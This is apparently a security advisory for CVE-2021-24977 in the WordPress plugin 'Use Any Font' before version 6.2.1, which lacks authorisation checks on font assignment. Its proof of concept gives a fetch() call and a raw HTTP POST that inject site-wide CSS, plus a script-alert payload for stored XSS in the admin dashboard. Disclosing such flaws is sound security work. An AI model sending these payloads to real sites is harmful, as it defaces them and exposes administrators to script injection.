Use Any Font < 6.2.1 – Unauthenticated Arbitrary CSS Appending | CVE 2021-24977

Description

The plugin does not have any authorisation checks when assigning a font, allowing unauthenticated users to sent arbitrary CSS which will then be processed by the frontend for all users. Due to the lack of sanitisation and escaping in the backend, it could also lead to Stored XSS issues

Proof of Concept

fetch("https://example.com/", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": "submit-uaf-font-assign=x&elements[]=body{background-image:url(data://image/gif;base64,R0lGODdhKAAoAIABAAAAAP///ywAAAAAKAAoAAACX4yPqcvtD6OctNqLs968GwB4DkheJUSeUxqObCu98CJTtZvaL6quucjoAYfEovGI9M2MrJjwccM9G9FglXpVyJa0LW9n9X635Gy4jOZK02YoW1x5NzNytYWdzOv3/GIBADs=);}div{display:none !important};&font_key=1",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

POST / HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 301
Connection: close

submit-uaf-font-assign=x&elements[]=body{background-image:url(data://image/gif;base64,R0lGODdhKAAoAIABAAAAAP///ywAAAAAKAAoAAACX4yPqcvtD6OctNqLs968GwB4DkheJUSeUxqObCu98CJTtZvaL6quucjoAYfEovGI9M2MrJjwccM9G9FglXpVyJa0LW9n9X635Gy4jOZK02YoW1x5NzNytYWdzOv3/GIBADs=);}div{display:none+!important};&font_key=1


To perform XSS in the backend, use a payload such as <script>alert(/XSS/)</script> in the elements[], then the XSS will be triggered when viewing the Assign Font dashboard (/wp-admin/admin.php?page=use-any-font&tab=font_assign)